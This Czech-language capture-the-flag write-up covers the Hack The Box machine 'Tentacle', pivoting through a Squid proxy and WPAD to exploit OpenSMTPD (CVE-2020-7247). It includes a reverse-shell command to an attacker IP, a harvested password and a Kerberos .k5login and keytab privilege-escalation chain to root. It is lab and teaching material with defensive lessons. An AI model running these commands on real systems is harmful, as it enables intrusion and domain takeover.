Tentacle
Úvod a kontext
Tentacle je stroj rozdělený na dvě odlišné fáze. První je síťová: z veřejně dostupného Squid proxy je potřeba objevit interní rozsahy, projít přes ně a najít další službu, která vůbec není vidět zvenku. Druhá je čistě o Kerberosu v Linux prostředí: získané heslo neotevře rovnou SSH, ale stane se vstupem do realm REALCORP.HTB, odkud se teprve dá postupovat dál.
Z edukativního pohledu je nejcennější právě to řetězení. Žádný krok sám o sobě nestačí. Proxy prozradí interní síť, WPAD odhalí další segment, OpenSMTPD dá foothold a až z konfiguračního souboru na kompromitovaném hostu vypadne heslo použitelné pro Kerberos. Právě proto se Tentacle dobře doplňuje s články Síťová topologie jako leak: WPAD, Squid, FXP a interní mapování, WHOIS, DNS a AXFR jako reálná útočná plocha a Port forwarding, proxy a protokolové mosty jako exploitační primitivum.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejné služby. Tady už první scan ukazuje, že stroj nebude jen běžný Linux webserver.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0
53/tcp open domain ISC BIND 9.11.20
88/tcp open kerberos-sec MIT Kerberos
3128/tcp open http-proxy Squid http proxy 4.11
Kerberos na veřejném rozhraní je neobvyklý, ale v první fázi ještě nic neřeší. Nejdůležitější je Squid na 3128, protože proxy často funguje jako most do neveřejných částí infrastruktury.
DNS a interní názvy
Enumerace zóny realcorp.htb odhalila dva důležité interní hosty, tedy přesně ten moment, kdy se DNS mění z pasivní informace na navigaci k dalšímu segmentu:
ns.realcorp.htb -> 10.197.243.77
proxy.realcorp.htb -> ns.realcorp.htb
wpad.realcorp.htb -> 10.197.243.31
To dává první směr: přes veřejný Squid lze zkusit enumerovat interní adresy v rozsahu 10.197.243.0/24.
Analýza zjištění
WPAD jako mapa dalších sítí
Po nastavení proxychains přes veřejný Squid šlo osahat interní web na wpad.realcorp.htb a stáhnout wpad.dat. Praktickou roli tohoto nástroje v podobných pivotech rozebírám i v článku Proxychains:
proxychains curl http://wpad.realcorp.htb/wpad.dat
function FindProxyForURL(url, host) {
if (dnsDomainIs(host, "realcorp.htb"))
return "DIRECT";
if (isInNet(dnsResolve(host), "10.197.243.0", "255.255.255.0"))
return "DIRECT";
if (isInNet(dnsResolve(host), "10.241.251.0", "255.255.255.0"))
return "DIRECT";
return "PROXY proxy.realcorp.htb:3128";
}
To je zásadní stopa. WPAD soubor zde neřeší jen konfiguraci prohlížeče, ale přímo prozrazuje existenci dalšího interního rozsahu 10.241.251.0/24. Tím se z pomocného provozního souboru stává plnohodnotný topologický leak.
OpenSMTPD ve druhém interním segmentu
Po dalším scanování přes proxy se v novém rozsahu objevil host 10.241.251.113 s OpenSMTPD:
25/tcp open smtp OpenSMTPD
To je výborný kandidát na foothold, protože daná verze byla zranitelná vůči CVE-2020-7247. Exploit se pak proti internímu SMTP hostu spouštěl přes proxychains:
proxychains python3 exploit.py 10.241.251.113 25 'bash -c "exec bash -i &> /dev/tcp/10.10.14.22/4000 <&1"'
Výsledkem byl shell na interním mail hostu.
Heslo z .msmtprc
Na kompromitovaném hostu byla nejdůležitější stopa v souboru .msmtprc uživatele j.nakazawa:
user j.nakazawa
password sJB}RM>6Z~64_
Tady je klíčové správně pochopit, co heslo znamená. Není to jen heslo do lokální pošty. V prostředí REALCORP.HTB má smysl zkusit ho proti Kerberosu.
Získání přístupu
Kerberos TGT a SSH
Po nastavení krb5.conf pro realm REALCORP.HTB šlo získat TGT:
kinit j.nakazawa
klist
Jakmile je TGT k dispozici, dává smysl zkusit SSH na veřejný host přes Kerberos autentizaci:
ssh j.nakazawa@10.10.10.224
Tím vznikl stabilní přístup na hlavní server a bylo možné potvrdit user flag:
cat user.txt
__CENSORED__
Tahle fáze je důležitá právě tím, že heslo z .msmtprc nevedlo na shell přímo, ale přes tiketovou autentizaci do jiné služby.
Eskalace oprávnění
Cron job log_backup.sh
Na hostu běžel pravidelně job pod účtem admin:
* * * * * admin /usr/local/bin/log_backup.sh
Samotný skript byl nebezpečný tím, že nekriticky kopíroval obsah /var/log/squid/ do domovského adresáře admin, takže root část v sobě mísí dva vzorce: logy jako útokovou plochu a provozní automatiku jako zdroj přístupu:
/usr/bin/rsync -avz --no-perms --no-owner --no-group /var/log/squid/ /home/admin/
To znamená, že uživatel j.nakazawa, který do squid logů zapisovat mohl, dokázal adminovi podsunout i skryté soubory jako .k5login.
Převzetí účtu admin přes .k5login
Do /var/log/squid/ stačilo vložit soubor:
echo j.nakazawa@REALCORP.HTB > /var/log/squid/.k5login
Po dalším běhu jobu se tento soubor zkopíroval do /home/admin/.k5login, čímž se principal j.nakazawa@REALCORP.HTB stal oprávněným pro Kerberos login jako lokální uživatel admin.
Protože už byl k dispozici platný tiket z kinit, následný přechod byl přímočarý:
ssh admin@10.10.10.224
Keytab a kadmin
Účet admin už měl přístup k /etc/krb5.keytab, což je v Kerberos prostředí velmi citlivý soubor. Výpis ukázal, že obsahuje i principal pro správu realm:
klist -k /etc/krb5.keytab
Pak šlo použít kadmin bez znalosti hesla:
kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB
S tímto oprávněním už stačilo přidat principal root@REALCORP.HTB a přepnout do něj přes ksu:
add_principal root@REALCORP.HTB
ksu root
Tím vznikl root shell a následně i přístup k root.txt.
Shrnutí klíčových poznatků
- Veřejný Squid zde nefungoval jako cíl sám o sobě, ale jako vstupní bod do interních segmentů.
wpad.datbyl prakticky síťovou dokumentací, která prozradila další rozsah a tím i cestu k OpenSMTPD.- Heslo z
.msmtprcmělo hodnotu až ve chvíli, kdy se správně interpretovalo jako Kerberos credential pro realmREALCORP.HTB. - Root část stála na důvěře backup skriptu v obsah squid log adresáře a následně na citlivém obsahu
krb5.keytab.
Co si odnést do praxe
- Proxy, WPAD a interní DNS je potřeba chránit jako bezpečnostně citlivé prvky. Často neobsahují tajemství přímo, ale prozradí topologii celé vnitřní sítě.
- Kerberos v Linux prostředí zvyšuje dopad reuse hesel. Heslo k jedné službě se může rychle stát vstupenkou k TGT a dalším protokolům.
- Automatizované kopírování souborů z útočníkem ovlivnitelné cesty do cizího homediru je vysoce rizikové. Skryté soubory typu
.k5login,.sshnebo shell init soubory se tím mění v privesc vektor. krb5.keytabnení jen provozní detail. Pokud obsahuje privilegované principals, kompromitovaný lokální účet může získat správu celé Kerberos domény.
Další související články
HTB Stroje
Techniky
- Dokumentová metadata jako vstup do domény
- Kerberos útoky z nulového přístupu: AS-REP roast a práce s kandidátními uživateli
- AD CS a certifikáty jako cesta k Administratorovi